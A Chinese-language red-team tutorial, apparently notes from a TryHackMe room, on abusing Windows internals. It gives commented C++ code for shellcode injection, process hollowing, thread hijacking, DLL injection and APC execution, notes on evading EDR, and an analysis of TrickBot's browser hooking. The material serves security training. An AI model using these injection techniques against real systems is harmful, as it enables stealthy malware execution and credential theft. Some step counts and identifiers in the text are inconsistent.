Red Team

Abusing Windows Internals

1.滥用流程

在操作系统上运行的应用程序可以包含一个或多个进程。进程维护并代表正在执行的程序。进程有许多其他子组件,并直接与内存或虚拟内存交互,使它们成为目标的完美候选者。下表描述了流程的每个关键组成部分及其用途。

Process ComponentPurpose
Private Virtual Address Space进程分配的虚拟内存地址。
Executable Program定义存储在虚拟地址空间中的代码和数据
Open Handles定义进程可访问的系统资源的句柄
Security Context访问令牌定义用户、安全组、权限和其他安全信息。
Process ID进程的唯一数字标识符
Threads计划执行的进程的一部分

有关进程的更多信息,请查看 Windows Internals 室。 进程注入通常用作描述通过合法功能或组件将恶意代码注入进程的总体术语。我们将在这个房间中重点关注四种不同类型的流程注入,概述如下。

Injection TypeFunction
Process Hollowing将代码注入暂停且“空洞”的目标进程
Thread Execution Hijacking将代码注入到挂起的目标线程中
Dynamic-link Library Injection将 DLL 注入进程内存
Portable Executable Injection将指向恶意函数的 PE 镜像自行注入目标进程

MITRE T1055 概述了许多其他形式的流程注入。 在最基本的层面上,进程注入采用 shellcode 注入的形式。 从高层次来看,shellcode 注入可以分为四个步骤:

  1. 打开具有所有访问权限的目标进程。
  2. 为 shellcode 分配目标进程内存。
  3. 将 shellcode 写入目标进程中分配的内存。
  4. 使用远程线程执行 shellcode。

这些步骤还可以以图形方式分解,以描述 Windows API 调用如何与进程内存交互。

img

我们将分解一个基本的 shellcode 注入器来识别每个步骤,并在下面更深入地解释。 在 shellcode 注入的第一步,我们需要使用特殊参数打开目标进程。 OpenProcess 用于打开通过命令行提供的目标进程。

processHandle = OpenProcess(
PROCESS_ALL_ACCESS, // Defines access rights
FALSE, // Target handle will not be inhereted
DWORD(atoi(argv[1])) // Local process supplied by command-line arguments
);

在第二步,我们必须根据 shellcode 的字节大小分配内存。内存分配是使用 VirtualAllocEx 处理的。在调用中,dwSize 参数是使用 sizeof 函数定义的,以获取要分配的 shellcode 字节数。

remoteBuffer = VirtualAllocEx(
processHandle, // Opened target process
NULL,
sizeof shellcode, // Region size of memory allocation
(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages
PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);

在第三步中,我们现在可以使用分配的内存区域来编写 shellcode。 WriteProcessMemory 通常用于写入内存区域。

WriteProcessMemory(
processHandle, // Opened target process
remoteBuffer, // Allocated memory region
shellcode, // Data to write
sizeof shellcode, // byte size of data
NULL
);

在第四步中,我们现在可以控制该进程,并且我们的恶意代码现在已写入内存。要执行驻留在内存中的shellcode,我们可以使用CreateRemoteThread;线程控制进程的执行。

remoteThread = CreateRemoteThread(
processHandle, // Opened target process
NULL,
0, // Default size of the stack
(LPTHREAD_START_ROUTINE)remoteBuffer, // Pointer to the starting address of the thread
NULL,
0, // Ran immediately after creation
NULL
);

我们可以将这些步骤编译在一起来创建一个基本的进程注入器。使用提供的 C++ 注入器并尝试进程注入。 Shellcode注入是进程注入最基本的形式;在下一个任务中,我们将研究如何修改和调整这些步骤以实现流程空心化。

2.Expanding Process Abuse(扩大流程滥用)

在上一个任务中,我们讨论了如何使用 shellcode 注入将恶意代码注入合法进程。在此任务中,我们将介绍进程空洞。与 shellcode 注入类似,该技术提供了将整个恶意文件注入进程的能力。这是通过“空化”或取消映射进程并向进程中注入特定的 PE(可移植可执行文件)数据和部分来实现的。

在高级流程中,镂空可以分为六个步骤:

  1. 创建处于挂起状态的目标进程。
  2. 打开恶意图像。
  3. 从进程内存中取消映射合法代码。
  4. 为恶意代码分配内存位置并将每个部分写入地址空间。
  5. 设置恶意代码的入口点。
  6. 使目标进程脱离挂起状态。

这些步骤还可以以图形方式分解,以描述 Windows API 调用如何与进程内存交互。

img

我们将分解一个基本的空心注射器过程来识别每个步骤,并在下面更深入地解释。 在进程空洞的第一步,我们必须使用 CreateProcessA 创建一个处于挂起状态的目标进程。要获取 API 调用所需的参数,我们可以使用结构 STARTUPINFOA 和 PROCESS_INFORMATION。

LPSTARTUPINFOA target_si = new STARTUPINFOA(); // Defines station, desktop, handles, and appearance of a process
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION(); // Information about the process and primary thread
CONTEXT c; // Context structure pointer

if (CreateProcessA(
(LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe", // Name of module to execute
NULL,
NULL,
NULL,
TRUE, // Handles are inherited from the calling process
CREATE_SUSPENDED, // New process is suspended
NULL,
NULL,
target_si, // pointer to startup info
target_pi) == 0) { // pointer to process information
cout << "[!] Failed to create Target process. Last Error: " << GetLastError();
return 1;

第二步,我们需要打开恶意镜像进行注入。此过程分为三个步骤,首先使用 CreateFileA 获取恶意图像的句柄。

HANDLE hMaliciousCode = CreateFileA(
(LPCSTR)"C:\\\\Users\\\\tryhackme\\\\malware.exe", // Name of image to obtain
GENERIC_READ, // Read-only access
FILE_SHARE_READ, // Read-only share mode
NULL,
OPEN_EXISTING, // Instructed to open a file or device if it exists
NULL,
NULL
);

一旦获得恶意映像的句柄,就必须使用 VirtualAlloc 将内存分配给本地进程。 GetFileSize 还用于检索 dwSize 的恶意图像的大小。

DWORD maliciousFileSize = GetFileSize(
hMaliciousCode, // Handle of malicious image
0 // Returns no error
);

PVOID pMaliciousImage = VirtualAlloc(
NULL,
maliciousFileSize, // File size of malicious image
0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
0x04 // Enables read/write access (PAGE_READWRITE)
);

现在内存已分配给本地进程,必须对其进行写入。使用从前面步骤中获得的信息,我们可以使用 ReadFile 写入本地进程内存。

DWORD numberOfBytesRead; // Stores number of bytes read

if (!ReadFile(
hMaliciousCode, // Handle of malicious image
pMaliciousImage, // Allocated region of memory
maliciousFileSize, // File size of malicious image
&numberOfBytesRead, // Number of bytes read
NULL
)) {
cout << "[!] Unable to read Malicious file into memory. Erro r: " <<GetLastError()<< endl;
TerminateProcess(target_pi->hProcess, 0);
return 1;
}

CloseHandle(hMaliciousCode);

在第三步,必须通过取消映射内存来“掏空”该过程。在取消映射之前,我们必须识别 API 调用的参数。我们需要识别进程在内存中的位置和入口点。 CPU寄存器EAX(入口点)、EBX(PEB位置)包含了我们需要获取的信息;这些可以通过使用 GetThreadContext 找到。一旦找到这两个寄存器,ReadProcessMemory 用于从 EBX 获取基地址,并通过检查 PEB 获得偏移量 (0x8)。

c.ContextFlags = CONTEXT_INTEGER; // Only stores CPU registers in the pointer
GetThreadContext(
target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
&c // Pointer to store retrieved context
); // Obtains the current thread context

PVOID pTargetImageBaseAddress;
ReadProcessMemory(
target_pi->hProcess, // Handle for the process obtained from the PROCESS_INFORMATION structure
(PVOID)(c.Ebx + 8), // Pointer to the base address
&pTargetImageBaseAddress, // Store target base address
sizeof(PVOID), // Bytes to read
0 // Number of bytes out
);

存储基地址后,我们可以开始取消内存映射。我们可以使用从 ntdll.dll 导入的 ZwUnmapViewOfSection 来释放目标进程的内存。

HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll"); // Obtains the handle for ntdll
pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
hNtdllBase, // Handle of ntdll
"ZwUnmapViewOfSection" // API call to obtain
); // Obtains ZwUnmapViewOfSection from ntdll

DWORD dwResult = pZwUnmapViewOfSection(
target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
pTargetImageBaseAddress // Base address of the process
);

第四步,我们必须首先在空洞进程中分配内存。我们可以使用与第二步类似的VirtualAlloc来分配内存。这次我们需要获取文件头中找到的图像的大小。 e_lfanew可以识别从DOS头到PE头的字节数。一旦到达PE头,我们就可以从Optional头中获取SizeOfImage。

PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage; // Obtains the DOS header from the malicious image
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew); // Obtains the NT header from e_lfanew

DWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage; // Obtains the size of the optional header from the NT header structure

PVOID pHollowAddress = VirtualAllocEx(
target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
pTargetImageBaseAddress, // Base address of the process
sizeOfMaliciousImage, // Byte size obtained from optional header
0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
0x40 // Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)
);

一旦分配了内存,我们就可以将恶意文件写入内存。因为我们正在写一个文件,所以我们必须先写PE头,然后写PE节。为了写入PE头,我们可以使用WriteProcessMemory和头的大小来确定在哪里停止。

if (!WriteProcessMemory(
target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
pTargetImageBaseAddress, // Base address of the process
pMaliciousImage, // Local memory where the malicious file resides
pNTHeaders->OptionalHeader.SizeOfHeaders, // Byte size of PE headers
NULL
)) {
cout<< "[!] Writting Headers failed. Error: " << GetLastError() << endl;
}

现在我们需要编写每个部分。要查找节的数量,我们可以使用 NT 标头中的 NumberOfSections。我们可以循环遍历 e_lfanew 和当前标头的大小来写入每个部分。

for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) { // Loop based on number of sections in PE data
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); // Determines the current PE section header

WriteProcessMemory(
target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
(PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress), // Base address of current section
(PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData), // Pointer for content of current section
pSectionHeader->SizeOfRawData, // Byte size of current section
NULL
);
}

还可以使用重定位表将文件写入目标内存。这将在任务 6 中更深入地讨论。 在第五步,我们可以使用 SetThreadContext 来更改 EAX 以指向入口点。

c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint); // Set the context structure pointer to the entry point from the PE optional header

SetThreadContext(
target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
&c // Pointer to the stored context structure
);

在第六步,我们需要使用 ResumeThread 使进程脱离挂起状态。

ResumeThread(
target_pi->hThread // Handle to the thread obtained from the PROCESS_INFORMATION structure
);

我们可以将这些步骤编译在一起来创建一个进程空心注入器。使用提供的 C++ 注入器并尝试进程空洞。

3.Abusing Process Components(滥用流程组件)

在高级线程(执行)劫持可以分为十一个步骤:

  1. 找到并打开要控制的目标进程。
  2. 为恶意代码分配内存区域。
  3. 将恶意代码写入分配的内存。
  4. 识别要劫持的目标线程的线程ID。
  5. 打开目标线程。
  6. 挂起目标线程。
  7. 获取线程上下文。
  8. 将指令指针更新为恶意代码。
  9. 重写目标线程上下文。
  10. 恢复被劫持的线程。

我们将分解一个基本的线程劫持脚本来识别每个步骤,并在下面更深入地解释。 该技术中概述的前三个步骤遵循与正常进程注入相同的常见步骤。这些不会被解释,相反,您可以在下面找到记录的源代码。

HANDLE hProcess = OpenProcess(
PROCESS_ALL_ACCESS, // Requests all possible access rights
FALSE, // Child processes do not inheret parent process handle
processId // Stored process ID
);
PVOIF remoteBuffer = VirtualAllocEx(
hProcess, // Opened target process
NULL,
sizeof shellcode, // Region size of memory allocation
(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages
PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);
WriteProcessMemory(
processHandle, // Opened target process
remoteBuffer, // Allocated memory region
shellcode, // Data to write
sizeof shellcode, // byte size of data
NULL
);

一旦完成了最初的步骤并且我们的 shellcode 被写入内存,我们就可以进入第四步。第四步,我们需要通过识别线程ID来开始劫持进程线程的过程。为了识别线程 ID,我们需要使用三个 Windows API 调用:CreateToolhelp32Snapshot()、Thread32First() 和 Thread32Next()。这些 API 调用将共同循环遍历进程快照并扩展枚举进程信息的功能。

THREADENTRY32 threadEntry;

HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process
TH32CS_SNAPTHREAD, // Include all processes residing on the system
0 // Indicates the current process
);
Thread32First( // Obtains the first thread in the snapshot
hSnapshot, // Handle of the snapshot
&threadEntry // Pointer to the THREADENTRY32 structure
);

while (Thread32Next( // Obtains the next thread in the snapshot
snapshot, // Handle of the snapshot
&threadEntry // Pointer to the THREADENTRY32 structure
)) {

在第五步,我们已经在结构体指针中收集了所有必需的信息,并且可以打开目标线程。要打开线程,我们将使用带有 THREADENTRY32 结构指针的 OpenThread。

if (threadEntry.th32OwnerProcessID == processID) // Verifies both parent process ID's match
{
HANDLE hThread = OpenThread(
THREAD_ALL_ACCESS, // Requests all possible access rights
FALSE, // Child threads do not inheret parent thread handle
threadEntry.th32ThreadID // Reads the thread ID from the THREADENTRY32 structure pointer
);
break;
}

在第六步,我们必须挂起打开的目标线程。要挂起线程,我们可以使用 SuspendThread。

SuspendThread(hThread);

在第七步,我们需要获取线程上下文以在即将进行的 API 调用中使用。这可以使用 GetThreadContext 存储指针来完成。

CONTEXT context;
GetThreadContext(
hThread, // Handle for the thread
&context // Pointer to store the context structure
);

在第八步,我们需要覆盖 RIP(指令指针寄存器)以指向我们的恶意内存区域。如果您还不熟悉 CPU 寄存器,RIP 是一个 x64 寄存器,它将确定下一条代码指令;简而言之,它控制内存中应用程序的流程。要覆盖寄存器,我们可以更新 RIP 的线程上下文。

context.Rip = (DWORD_PTR)remoteBuffer; // Points RIP to our malicious buffer allocation

第九步,更新上下文,需要更新为当前线程上下文。使用 SetThreadContext 和上下文指针可以轻松完成此操作。

SetThreadContext(
hThread, // Handle for the thread
&context // Pointer to the context structure
);

在最后一步,我们现在可以使目标线程脱离挂起状态。为了实现这一点,我们可以使用 ResumeThread。

ResumeThread(
hThread // Handle for the thread
);

我们可以将这些步骤编译在一起,通过线程劫持创建进程注入器。使用提供的 C++ 注入器并尝试线程劫持。

4.Abusing DLLs(滥用 DLL)

在高层,DLL 注入可以分为六个步骤:

  1. 找到要注入的目标进程。
  2. 打开目标进程。
  3. 为恶意DLL分配内存区域。
  4. 将恶意 DLL 写入分配的内存。
  5. 加载并执行恶意DLL。

我们将分解一个基本的 DLL 注入器来识别每个步骤,并在下面更深入地解释。 在DLL注入的第一步,我们必须找到目标线程。可以使用三个 Windows API 调用从进程中定位线程:

CreateToolhelp32Snapshot()、Process32First() 和 Process32Next()。DWORD getProcessId(const char *processName) {
   HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process
TH32CS_SNAPPROCESS, // Include all processes residing on the system
0 // Indicates the current process
);
   if (hSnapshot) {
       PROCESSENTRY32 entry; // Adds a pointer to the PROCESSENTRY32 structure
       entry.dwSize = sizeof(PROCESSENTRY32); // Obtains the byte size of the structure
       if (Process32First( // Obtains the first process in the snapshot
hSnapshot, // Handle of the snapshot
&entry // Pointer to the PROCESSENTRY32 structure
)) {
           do {
               if (!strcmp( // Compares two strings to determine if the process name matches
entry.szExeFile, // Executable file name of the current process from PROCESSENTRY32
processName // Supplied process name
)) {
                   return entry.th32ProcessID; // Process ID of matched process
              }
          } while (Process32Next( // Obtains the next process in the snapshot
hSnapshot, // Handle of the snapshot
&entry
)); // Pointer to the PROCESSENTRY32 structure
      }
  }

DWORD processId = getProcessId(processName); // Stores the enumerated process ID

第二步,枚举完 PID 后,我们需要打开进程。这可以通过各种 Windows API 调用来完成:

GetModuleHandle、GetProcAddress 或 OpenProcess。HANDLE hProcess = OpenProcess(
PROCESS_ALL_ACCESS, // Requests all possible access rights
FALSE, // Child processes do not inheret parent process handle
processId // Stored process ID
);

第三步,必须为所提供的恶意 DLL 分配内存以驻留。与大多数注入器一样,这可以使用 VirtualAllocEx 来完成。

LPVOID dllAllocatedMemory = VirtualAllocEx(
hProcess, // Handle for the target process
NULL,
strlen(dllLibFullPath), // Size of the DLL path
MEM_RESERVE | MEM_COMMIT, // Reserves and commits pages
PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);

第四步,我们需要将恶意DLL写入分配的内存位置。我们可以使用 WriteProcessMemory 写入分配的区域。

WriteProcessMemory(
hProcess, // Handle for the target process
dllAllocatedMemory, // Allocated memory region
dllLibFullPath, // Path to the malicious DLL
strlen(dllLibFullPath) + 1, // Byte size of the malicious DLL
NULL
);

第五步,我们的恶意 DLL 被写入内存,我们所需要做的就是加载并执行它。要加载 DLL,我们需要使用 LoadLibrary;从 kernel32 导入。加载后,CreateRemoteThread 可用于使用 LoadLibrary 作为启动函数来执行内存。

LPVOID loadLibrary = (LPVOID) GetProcAddress(
GetModuleHandle("kernel32.dll"), // Handle of the module containing the call
"LoadLibraryA" // API call to import
);
HANDLE remoteThreadHandler = CreateRemoteThread(
hProcess, // Handle for the target process
NULL,
0, // Default size from the execuatable of the stack
(LPTHREAD_START_ROUTINE) loadLibrary, pointer to the starting function
dllAllocatedMemory, // pointer to the allocated memory region
0, // Runs immediately after creation
NULL
);

我们可以将这些步骤一起编译来创建 DLL 注入器。使用提供的 C++ 注入器并尝试 DLL 注入。

5.Memory Execution Alternatives(内存执行替代方案)

根据您所处的环境,您可能需要更改执行 shellcode 的方式。当 API 调用上有挂钩并且您无法逃避或取消挂钩、EDR 正在监视线程等时,可能会发生这种情况。 到目前为止,我们主要研究了向本地/远程进程分配数据以及从本地/远程进程写入数据的方法。执行也是任何注射技术中至关重要的一步;尽管在尝试最小化内存伪影和 IOC(Indicators of Compromise)时并不那么重要。与分配和写入数据不同,执行有很多选项可供选择。 在整个房间中,我们主要通过 CreateThread 及其对应的 CreateRemoteThread 观察执行情况。 在此任务中,我们将介绍可根据您的环境情况使用的其他三种执行方法。

(1)调用函数指针

void 函数指针是一种奇怪的新颖的内存块执行方法,仅依赖于类型转换。 该技术只能使用本地分配的内存来执行,但不依赖于任何 API 调用或其他系统功能。 下面的一行是 void 函数指针最常见的形式,但我们可以进一步分解它来解释它的组成部分。

((void(*)())addressPointer)();

这一行代码可能很难理解或解释,因为它太密集了,让我们在它处理指针的过程中逐步了解它。

  1. 创建一个函数指针(void(*)(),用红色框出
  2. 将分配的内存指针或 shellcode 数组转换为函数指针(<function pointer>)addressPointer),以黄色框出
  3. 调用函数指针执行shellcode();,绿色框出

这种技术有一个非常具体的用例,但在需要时可以非常回避和有用。

(2)异步过程调用

根据 Microsoft 关于异步过程调用的文档,“异步过程调用 (APC) 是在特定线程上下文中异步执行的函数。” APC 函数通过 QueueUserAPC 排队到线程中。一旦排队,APC 函数就会导致软件中断,并在下次调度线程时执行该函数。 为了让用户态/用户模式应用程序对 APC 函数进行排队,线程必须处于“可警报状态”。可警报状态要求线程等待回调,例如 WaitForSingleObject 或 Sleep。 现在我们了解了 APC 功能是什么,让我们看看它们是如何被恶意使用的!我们将使用 VirtualAllocEx 和 WriteProcessMemory 来分配和写入内存。

QueueUserAPC(
(PAPCFUNC)addressPointer, // APC function pointer to allocated memory defined by winnt
pinfo.hThread, // Handle to thread from PROCESS_INFORMATION structure
(ULONG_PTR)NULL
);
ResumeThread(
pinfo.hThread // Handle to thread from PROCESS_INFORMATION structure
);
WaitForSingleObject(
pinfo.hThread, // Handle to thread from PROCESS_INFORMATION structure
INFINITE // Wait infinitely until alerted
);

该技术是线程执行的一个很好的替代方案,但它最近在检测工程中获得了关注,并且正在针对 APC 滥用实施特定陷阱。根据您面临的检测措施,这仍然是一个不错的选择。

(3)截面操作

恶意软件研究中常见的技术是 PE(可移植可执行文件)和节操作。作为回顾,PE 格式定义了 Windows 中可执行文件的结构和格式。出于执行目的,我们主要关注部分,特别是.data和.text,表和指向部分的指针也常用于执行数据。 我们不会深入研究这些技术,因为它们很复杂并且需要大量的技术分解,但我们将讨论它们的基本原理。 要开始使用任何节操作技术,我们需要获取 PE 转储。获取 PE 转储通常是通过将 DLL 或其他恶意文件输入到 xxd 中来完成的。 每种方法的核心是使用数学来移动物理十六进制数据,然后将其转换为 PE 数据。 一些更常见的技术包括 RVA 入口点解析、节映射和重定位表解析。

对于所有注射技术,混合和匹配常用研究方法的能力是无穷无尽的。这为攻击者提供了大量的选项来操纵并执行恶意数据。

6.Case Study in Browser Injection and Hooking(浏览器注入和挂钩案例研究)

为了了解进程注入的含义,我们可以观察 TrickBot 的 TTP(Tactics, Techniques, and Procedures)。 初步研究成果:SentinelLabs TrickBot 是一种众所周知的银行恶意软件,最近在金融犯罪软件中重新流行起来。我们将观察到的恶意软件的主要功能是浏览器挂钩。浏览器挂钩允许恶意软件挂钩有趣的 API 调用,这些调用可用于拦截/窃取凭据。 为了开始我们的分析,让我们看看他们是如何瞄准浏览器的。从SentinelLab的逆向工程来看,很明显OpenProcess被用来获取常见浏览器路径的句柄;见下面的反汇编。

push   eax
push   0
push   438h
call   ds:OpenProcess
mov   edi, eax
mov   [edp,hProcess], edi
test   edi, edi
jz     loc_100045EEpush   offset Srch           ; "chrome.exe"
lea   eax, [ebp+pe.szExeFile]
...
mov   eax, ecx
push   offset aIexplore_exe   ; "iexplore.exe"
push   eax                   ; lpFirst
...
mov   eax, ecx
push   offset aFirefox_exe   ; "firefox.exe"
push   eax                   ; lpFirst
...
mov   eax, ecx
push   offset aMicrosoftedgec   ; "microsoftedgecp.exe"
...

目前反射注入的源代码尚不清楚,但 SentinelLabs 概述了下面的注入的基本程序流程。

  1. 打开目标进程、OpenProcess
  2. 分配内存、VirtualAllocEx
  3. 将函数复制到分配的内存、WriteProcessMemory
  4. 将 shellcode 复制到分配的内存、WriteProcessMemory
  5. 刷新缓存以提交更改、FlushInstructionCache
  6. 创建远程线程、RemoteThread
  7. 恢复线程或回退以创建新用户线程、ResumeThread 或 RtlCreateUserThread

一旦注入,TrickBot 将调用在第三步复制到内存中的钩子安装程序函数。下面 SentinelLabs 提供了安装程序功能的伪代码。

relative_offset = myHook_function - *(_DWORD *)(original_function + 1) - 5;
v8 = (unsigned __int8)original_function[5];
trampoline_lpvoid = *(void **)(original_function + 1);
jmp_32_bit_relative_offset_opcode = 0xE9u; // "0xE9" -> opcode for a jump with a 32bit relative offset

if ( VirtualProtectEx((HANDLE)0xFFFFFFFF, trampoline_lpvoid, v8, 0x40u, &flOldProtect) ) // Set up the function for "PAGE_EXECUTE_READWRITE" w/ VirtualProtectEx
{
v10 = *(_DWORD *)(original_function + 1);
v11 = (unsigned __int8)original_function[5] - (_DWORD)original_function - 0x47;
original_function[66] = 0xE9u;
*(_DWORD *)(original_function + 0x43) = v10 + v11;
write_hook_iter(v10, &jmp_32_bit_relative_offset_opcode, 5); // -> Manually write the hook
VirtualProtectEx( // Return to original protect state
(HANDLE)0xFFFFFFFF,
*(LPVOID *)(original_function + 1),
(unsigned __int8)original_function[5],
flOldProtect,
&flOldProtect);
result = 1;

让我们分解这段代码,一开始它可能看起来令人畏惧,但它可以分解为我们在这个房间中获得的更小的知识部分。 我们看到的第一段有趣的代码可以被识别为函数指针;您可能还记得上一个调用函数指针的任务。

relative_offset = myHook_function - *(_DWORD *)(original_function + 1) - 5;
v8 = (unsigned __int8)original_function[5];
trampoline_lpvoid = *(void **)(original_function + 1);

一旦定义了函数指针,恶意软件就会使用它们来通过 VirtualProtectEx 修改函数的内存保护。

if ( VirtualProtectEx((HANDLE)0xFFFFFFFF, trampoline_lpvoid, v8, 0x40u, &flOldProtect) )

此时,代码就变成了带有函数指针挂钩的恶意软件有趣的事情。不必了解该房间的该规范的技术要求。从本质上讲,此代码部分将重写一个钩子以指向操作码跳转。

v10 = *(_DWORD *)(original_function + 1);
v11 = (unsigned __int8)original_function[5] - (_DWORD)original_function - 0x47;
original_function[66] = 0xE9u;
*(_DWORD *)(original_function + 0x43) = v10 + v11;
write_hook_iter(v10, &jmp_32_bit_relative_offset_opcode, 5); // -> Manually write the hook

一旦挂钩,它将把函数返回到原来的内存保护状态。

VirtualProtectEx( // Return to original protect state
(HANDLE)0xFFFFFFFF,
*(LPVOID *)(original_function + 1),
(unsigned __int8)original_function[5],
flOldProtect,
&flOldProtect);

这看起来仍然像是抛出了很多代码和技术知识,但这没关系! TrickBot 挂钩函数的主要特点是,它将使用反射注入将自身注入到浏览器进程中,并从注入函数挂钩 API 调用。